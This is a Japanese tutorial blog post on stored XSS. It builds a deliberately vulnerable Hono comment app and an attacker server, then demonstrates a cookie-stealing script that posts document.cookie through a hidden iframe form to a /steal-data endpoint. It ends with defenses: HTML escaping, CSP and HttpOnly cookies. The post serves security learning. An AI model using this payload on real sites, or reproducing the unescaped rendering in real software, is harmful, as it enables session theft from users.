🛡️

セキュリティについて学んでみた【XSS編】

2024/11/05に公開

XSSとは

XSS(クロスサイトスクリプティング)攻撃は、ウェブページに悪意のあるスクリプトを埋め込むことで、他のユーザーに被害を与える攻撃手法です。

XSS攻撃の仕組み

  1. 攻撃者が悪意のあるスクリプトをページに埋め込む
  2. 他のユーザーがページを開く、もしくは何らかの操作でスクリプトが実行される
  3. ユーザーのデータを盗んだり、不正操作を行う

XSS攻撃の種類

  • 蓄積型XSS攻撃
    コメント欄や掲示板などにスクリプトが投稿され、他のユーザーがそのページを見たときに実行される。
  • 反射型XSS攻撃
  • DOMベースのXSS攻撃

蓄積型XSS攻撃を実際に試してみた

実際にコードを書いて、Honoでlocalhost:3000(被害側)とlocalhost:4000(攻撃側)にアクセスできるようにし、各攻撃をローカル環境で試してみました。

被害側

被害側はコメントの投稿と表示機能を実装します。
また盗まれるcookieをブラウザにセットしておきます。

index.ts
import { Hono } from "hono";
import { setCookie } from "hono/cookie";

const app = new Hono();

let comments = [];

app.get("/", (c) => {
  setCookie(c, "session_id", "test");
  const commentList = comments.map((comment) => `<li>${comment}</li>`).join("");

  const html = `
    <html>
      <body>
        <form action="/comment" method="POST">
          <input type="text" name="comment" placeholder="コメントを入力..." required />
          <button type="submit">送信</button>
        </form>
        <ul>${commentList}</ul>
      </body>
      
    </html>
  `;

  return c.html(html);
});

app.post("/comment", async (c) => {
  const { comment } = await c.req.parseBody();
  comments.push(comment);
  return c.redirect("/");
});

export default app;

攻撃側

攻撃側は埋め込んだスクリプトから送信されたデータを受け取って、ログに出力するようにしておきます。

index.ts
import { Hono } from "hono";

const app = new Hono();

app.get("/", (c) => {
  return c.text("Hello Hono!");
});

app.post("/steal-data", async (c) => {
  const data = await c.req.parseBody();
  console.log("Stolen Data:", data);
  return c.text("Data received");
});

export default {
  port: 4000,
  fetch: app.fetch,
};

攻撃開始

被害側で表示されたコメント欄に、次のようなスクリプトを投稿します。
document.cookieでcookieを取得しています。
次に非表示にしたiframe要素とその内側にform要素を作成し、input要素の値にcookieを設定しています。
またtarget属性を非表示のiframe要素自体に設定することで、フォームの送信処理を非表示のiframe要素内でとどめています。

<script>
  (function() {
    const stolenData = document.cookie;
    const iframe = document.createElement('iframe');
    iframe.style.display = 'none';
    iframe.name = 'hiddenIframe';
    document.body.appendChild(iframe);
    const form = document.createElement('form');
    form.action = 'http://localhost:4000/steal-data';
    form.method = 'POST';
    form.target = 'hiddenIframe';
    const hiddenField = document.createElement('input');
    hiddenField.type = 'hidden';
    hiddenField.name = 'cookie';
    hiddenField.value = stolenData;
    form.appendChild(hiddenField);
    document.body.appendChild(form);
    form.submit();
  })();
</script>

これをコメントに投稿すると、被害側のコメントページにアクセスしたユーザのcookieが攻撃側のログに出力されるようになります。

Stolen Data: {
  cookie: "session_id=test",
}

蓄積型XSS攻撃の対策

以下のようなアプローチで対策することができます。
それぞれ設定することで、cookieが攻撃側のログに出力されなくなります。

1. 出力時のエスケープ処理

ユーザーからの入力をHTMLに埋め込む前に、エスケープ処理を行います。これにより、ユーザーが入力したHTMLタグやスクリプトがそのまま解釈されるのを防ぎます。

function escapeHTML(str) {
  return str
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#39;');
}

const commentList = comments.map((comment) => `<li>${escapeHTML(comment)}</li>`).join("");

2. Content Security Policy (CSP) の設定

CSPヘッダーを設定することで、スクリプトの読み込み元を制限し、XSS攻撃の影響を軽減できます。

import { secureHeaders } from "hono/secure-headers";

app.use(
  "*",
  secureHeaders({
    contentSecurityPolicy: {
      scriptSrc: ["'self'"],
    },
  })
);

3. HttpOnly属性を持つCookieの使用

CookieにHttpOnly属性を設定することで、JavaScriptからのアクセスを防ぎます。

setCookie(c, "session_id", "test", { httpOnly: true });

Discussion